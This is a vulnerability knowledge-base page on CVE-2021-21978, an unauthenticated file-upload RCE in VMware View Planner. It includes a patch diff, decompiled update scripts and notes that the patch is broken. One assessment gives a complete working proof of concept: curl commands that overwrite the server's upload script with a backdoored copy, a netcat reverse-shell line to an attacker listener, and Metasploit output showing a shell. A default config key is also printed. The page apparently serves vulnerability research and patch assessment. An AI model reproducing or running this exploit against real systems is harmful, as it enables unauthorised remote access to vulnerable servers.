Moderate
CVE-2021-21978
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-21978
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability. Improper input validation and lack of authorization leading to arbitrary file upload in logupload web application. An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted file leading to remote code execution within the logupload container.
Add Assessment
Ratings
-
Attacker ValueMedium
-
ExploitabilityVery High
Technical Analysis
Quick patch diff below. Note the added auth and path traversal protection.
--- log_upload_wsgi.unpatched.py 2021-03-03 20:18:16.000000000 -0600 +++ log_upload_wsgi.patched.py 2021-03-03 20:18:24.000000000 -0600 @@ -1,104 +1,129 @@ #! /usr/bin/env python3 import cgi import os,sys import logging import json +import configparser +import hashlib WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip" class LogFileJson: """ Defines format to upload log file in harness Arguments: itrLogPath : log path provided by harness to store log data logFileType : Type of log file defined in api.agentlogFileType workloadID [OPTIONAL] : workload id, if log file is workload specific """ def __init__(self, itrLogPath, logFileType, workloadID = None): self.itrLogPath = itrLogPath self.logFileType = logFileType self.workloadID = workloadID def to_json(self): return json.dumps(self.__dict__) @classmethod def from_json(cls, json_str): json_dict = json.loads(json_str) return cls(**json_dict) class agentlogFileType(): """ Defines various log file types to be uploaded by agent """ WORKLOAD_ZIP_LOG = "workloadLogsZipFile" try: # TO DO: Puth path in some config logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR) except: # In case write permission is not available in log folder. pass logger = logging.getLogger('log_upload_wsgi.py') def application(environ, start_response): logger.debug("application called") + # TO DO: Puth path in some config or read from config is already available + resultBasePath = "/etc/httpd/html/vpresults" + config_path = "/etc/httpd/conf/wsgi_config/wsgi.config" + # Reading configuration + try: + config = configparser.ConfigParser() + config.read(config_path) + secret_key = config["apache"]["key"].strip() + except Exception as e: + body = u"Exception {}".format(str(e)) + start_response( + '400 fail', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] + if environ['REQUEST_METHOD'] == 'POST': post = cgi.FieldStorage( fp=environ['wsgi.input'], environ=environ, keep_blank_values=True ) - # TO DO: Puth path in some config or read from config is already available - resultBasePath = "/etc/httpd/html/vpresults" try: filedata = post["logfile"] metaData = post["logMetaData"] - - if metaData.value: - logFileJson = LogFileJson.from_json(metaData.value) - - if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)): - os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath)) - - if filedata.file: - if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) - else: - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType) - with open(filePath, 'wb') as output_file: - while True: - data = filedata.file.read(1024) - # End of file - if not data: - break - output_file.write(data) - - body = u" File uploaded successfully." - start_response( - '200 OK', - [ - ('Content-type', 'text/html; charset=utf8'), - ('Content-Length', str(len(body))), - ] - ) - return [body.encode('utf8')] + password = post["password"] + if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key: + if metaData.value: + logFileJson = LogFileJson.from_json(metaData.value) + + dir_path = os.path.normpath(os.path.join(resultBasePath, logFileJson.itrLogPath)) + if not os.path.exists(dir_path) and dir_path.startswith(resultBasePath): + os.makedirs(dir_path) + + if filedata.file: + if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): + filePath = os.path.join(dir_path, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) + else: + filePath = os.path.join(dir_path, logFileJson.logFileType) + + filePath = os.path.normpath(filePath) + if filePath.startswith(resultBasePath): + with open(filePath, 'wb') as output_file: + while True: + data = filedata.file.read(1024) + # End of file + if not data: + break + output_file.write(data) + + body = u" File uploaded successfully." + start_response( + '200 OK', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) else: logger.error("Invalid request") body = u"Invalid request" + body = u"Invalid request" start_response( '400 fail', [ ('Content-type', 'text/html; charset=utf8'), ('Content-Length', str(len(body))), ] ) return [body.encode('utf8')]
I have reproduced RCE with a personal PoC. I’m not sure about the “secret key” they added, but I think it’s changed as part of the update.
wvu@kharak:~/Downloads/vp_4.6_sp1/harness$ cat wsgi.config [apache] key = vmware-viewplanner-ca$hc0w wvu@kharak:~/Downloads/vp_4.6_sp1/harness$
We’ll see once I find time to test the patched version. I can confirm that RCE is within a Docker container. I haven’t looked for LPE yet.
ETA: Someone else released their PoC, so here is mine in full:
wvu@kharak:~/Downloads$ curl -kO https://192.168.123.183/wsgi_log_upload/log_upload_wsgi.py % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 3596 100 3596 0 0 121k 0 --:--:-- --:--:-- --:--:-- 121k wvu@kharak:~/Downloads$ cp log_upload_wsgi.py log_upload_wsgi.py.bak wvu@kharak:~/Downloads$ vi log_upload_wsgi.py wvu@kharak:~/Downloads$ diff -u log_upload_wsgi.py.bak log_upload_wsgi.py --- log_upload_wsgi.py.bak 2021-03-04 17:41:15.000000000 -0600 +++ log_upload_wsgi.py 2021-03-04 17:41:35.000000000 -0600 @@ -90,6 +90,8 @@ except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) + elif environ["REQUEST_METHOD"] == "HACK": + os.system("mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq") else: logger.error("Invalid request") body = u"Invalid request" wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F logfile=@log_upload_wsgi.py -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}' File uploaded successfully.wvu@kharak:~/Downloads$ curl -kX HACK https://192.168.123.183/logupload ^C wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F "logfile=@log_upload_wsgi.py.bak; filename=log_upload_wsgi.py" -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}' File uploaded successfully.wvu@kharak:~/Downloads$
msf6 exploit(multi/handler) > run [+] mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.183:57562) at 2021-03-04 17:41:59 -0600 id uid=25(apache) gid=25(apache) groups=25(apache), uname -a Linux 8cfebb27995a 4.9.137-1.ph2 #1-photon SMP Tue Nov 20 14:26:55 UTC 2018 x86_64
ETA: Here’s the decompiled update script:
import sys, os, configparser, shutil, time cwd = os.path.dirname(os.path.realpath(__file__)) sys.path.append(cwd) import change_password print('Starting Update') wsgi_path_old = '/root/viewplanner/httpd/wsgi_log_upload/' wsgi_path_new = '/root/viewplanner/log_upload_app' wsgi_file = 'log_upload_wsgi.py' config_path = '/root/viewplanner/apache_config/wsgi_config' version_file = '/root/viewplanner/version.txt' httpd_conf_path = '/root/viewplanner/apache_config/httpd.conf' try: print('Updating config') if not os.path.exists(config_path): os.makedirs(config_path) os.system('cp ' + os.path.join(cwd, 'wsgi.config') + ' ' + config_path) except Exception as e: print('Updating config Failed!! {}'.format(e)) sys.exit(1) try: print('Updating wsgi') if not os.path.exists(wsgi_path_new): os.makedirs(wsgi_path_new) shutil.copy(os.path.join(cwd, wsgi_file), wsgi_path_new) httpd_conf = '' with open(httpd_conf_path, 'r') as (fp): httpd_conf = fp.read() os.system('chmod -R o+x ' + wsgi_path_new) httpd_conf = httpd_conf.replace('WSGIScriptAlias /logupload /etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py', '<Directory /root/app>\n Require all granted\n</Directory>\nWSGIScriptAlias /logupload /root/app/log_upload_wsgi.py') with open(httpd_conf_path, 'w') as (fp): fp.write(httpd_conf) os.system('docker rm -f appacheServer') if os.path.exists(wsgi_path_old): shutil.rmtree(wsgi_path_old) os.system('docker run --restart on-failure --name appacheServer -p 80:80 -p 443:443 -v /root/viewplanner/apache_config:/etc/httpd/conf -v ' + wsgi_path_new + ':/root/app -v /root/viewplanner/httpd:/etc/httpd/html -d httpd_python_wsgi:1.0') time.sleep(10) os.system('docker exec -it appacheServer chmod a+x /root') os.system('docker restart appacheServer') os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/html') os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/conf/wsgi_config/wsgi.config') os.system('chmod -R o+x ' + config_path) os.system('chmod 644 ' + os.path.join(config_path, 'wsgi.config')) except Exception as e: print('Updating wsgi location failed!! {}'.format(e)) sys.exit(1) change_password.set_password() try: print('Updating version') current_version = '' with open(version_file, 'r') as (fp): current_version = fp.read() if '-sp1' not in current_version: current_version = current_version + '-sp1' with open(version_file, 'w') as (fp): fp.write(current_version) except Exception as e: print('Updating version failed!! {}'.format(e)) sys.exit(1) print('Update Completed')
And the password script…
import sys, hashlib, configparser, getpass, hashlib config_file = '/root/viewplanner/apache_config/wsgi_config/wsgi.config' try: config = configparser.ConfigParser() config.read(config_file) except Exception as e: body = 'Exception {}'.format(str(e)) sys.exit(1) def verify_current(): password = getpass.getpass(prompt='Enter current Password: ') if hashlib.sha256(password.encode('utf8')).hexdigest() != config['apache']['key']: return False else: return True def set_password(): password = getpass.getpass(prompt='Enter new Password: ') re_password = getpass.getpass(prompt='Re-enter new Password: ') if password != re_password: print('Password mismatch!!!') sys.exit(1) try: hashed_password = hashlib.sha256(password.encode('utf8')).hexdigest() except Exception as e: print('Password Update failed!!! {}'.format(e)) sys.exit(1) try: config['apache']['key'] = hashed_password with open(config_file, 'w') as (fp): config.write(fp) except Exception as e: config.add_section('apache') config.set('apache', 'key', hashed_password) with open(config_file, 'w') as (fp): config.write(fp) print('Password changed successfully') if __name__ == '__main__': if not verify_current(): print('Failed to verify password!!!') else: set_password()
Still haven’t found time to test the patch, but it’s in @gwillcox-r7’s good hands now!
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- vmware
Products
- view planner,
- view planner 4.6
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Seems at the moment that the patch is broken due to a permissions error on the
/root/app/log_upload_wsgi.py
file within the docker containerappacheServer
(no that isn’t a typo, that is the name they used). Here is some info for context, still investigating this further but I’d be wary that applying the update as it is atm will likely bork your setup temporarily until you can address this permissions error. UPDATE: Looks like doingchmod 704 /root/app/log_upload_wsgi.py
will do for solving this issue, however you will still run into an issue with trying to sendpassword
to the server, which will cause exceptions.